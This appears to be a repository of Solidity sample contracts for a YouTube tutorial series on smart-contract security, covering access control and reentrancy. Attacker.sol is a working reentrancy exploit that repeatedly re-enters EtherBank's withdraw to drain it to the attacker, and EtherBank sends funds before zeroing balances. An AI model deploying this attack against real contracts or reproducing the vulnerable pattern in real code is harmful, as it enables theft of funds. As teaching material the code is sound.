├── README.md └── contracts ├── Part_1_Access_Control └── RealEstateAgreement.sol └── Part_2_Reentrancy_Attacks ├── Attacker.sol └── EtherBank.sol /README.md: -------------------------------------------------------------------------------- 1 | # smart-contract-security 2 | Smart contract security sample code from for my Block Explorer YouTube channel tutorial series. 3 | -------------------------------------------------------------------------------- /contracts/Part_1_Access_Control/RealEstateAgreement.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.11; 3 | 4 | contract RealEstateAgreement { 5 | address private owner; 6 | uint256 public price; 7 | bool public sellerPaysClosingFees; 8 | 9 | constructor(uint256 _price) { 10 | owner = msg.sender; 11 | price = _price; 12 | sellerPaysClosingFees = false; 13 | } 14 | 15 | function setPrice(uint256 _price) public onlyOwner { 16 | price = _price; 17 | } 18 | 19 | function setClosingFeeAgreement(bool _ownerPays) public onlyOwner { 20 | sellerPaysClosingFees = _ownerPays; 21 | } 22 | 23 | modifier onlyOwner() { 24 | require(owner == msg.sender, "Only the owner can update agreement terms."); 25 | _; 26 | } 27 | 28 | } -------------------------------------------------------------------------------- /contracts/Part_2_Reentrancy_Attacks/Attacker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.11; 3 | import "hardhat/console.sol"; 4 | 5 | interface IEtherBank { 6 | function deposit() external payable; 7 | function withdraw() external; 8 | } 9 | 10 | contract Attacker { 11 | IEtherBank public immutable etherBank; 12 | address private owner; 13 | 14 | constructor(address etherBankAddress) { 15 | etherBank = IEtherBank(etherBankAddress); 16 | owner = msg.sender; 17 | } 18 | 19 | function attack() external payable onlyOwner { 20 | etherBank.deposit{value: msg.value}(); 21 | etherBank.withdraw(); 22 | } 23 | 24 | receive() external payable { 25 | if (address(etherBank).balance > 0) { 26 | console.log("reentering..."); 27 | etherBank.withdraw(); 28 | } else { 29 | console.log('victim account drained'); 30 | payable(owner).transfer(address(this).balance); 31 | } 32 | } 33 | 34 | // check the total balance of the Attacker contract 35 | function getBalance() external view returns (uint) { 36 | return address(this).balance; 37 | } 38 | 39 | modifier onlyOwner() { 40 | require(owner == msg.sender, "Only the owner can attack."); 41 | _; 42 | } 43 | } -------------------------------------------------------------------------------- /contracts/Part_2_Reentrancy_Attacks/EtherBank.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.11; 3 | 4 | import "@openzeppelin/contracts/utils/Address.sol"; 5 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 6 | import "hardhat/console.sol"; 7 | 8 | contract EtherBank is ReentrancyGuard { 9 | using Address for address payable; 10 | 11 | // keeps track of all savings account balances 12 | mapping(address => uint) public balances; 13 | 14 | // deposit funds into the sender's account 15 | function deposit() external payable { 16 | balances[msg.sender] += msg.value; 17 | } 18 | 19 | // withdraw all funds from the user's account 20 | function withdraw() external nonReentrant { 21 | require(balances[msg.sender] > 0, "Withdrawl amount exceeds available balance."); 22 | 23 | console.log(""); 24 | console.log("EtherBank balance: ", address(this).balance); 25 | console.log("Attacker balance: ", balances[msg.sender]); 26 | console.log(""); 27 | 28 | payable(msg.sender).sendValue(balances[msg.sender]); 29 | balances[msg.sender] = 0; 30 | } 31 | 32 | // check the total balance of the EtherBank contract 33 | function getBalance() external view returns (uint) { 34 | return address(this).balance; 35 | } 36 | } --------------------------------------------------------------------------------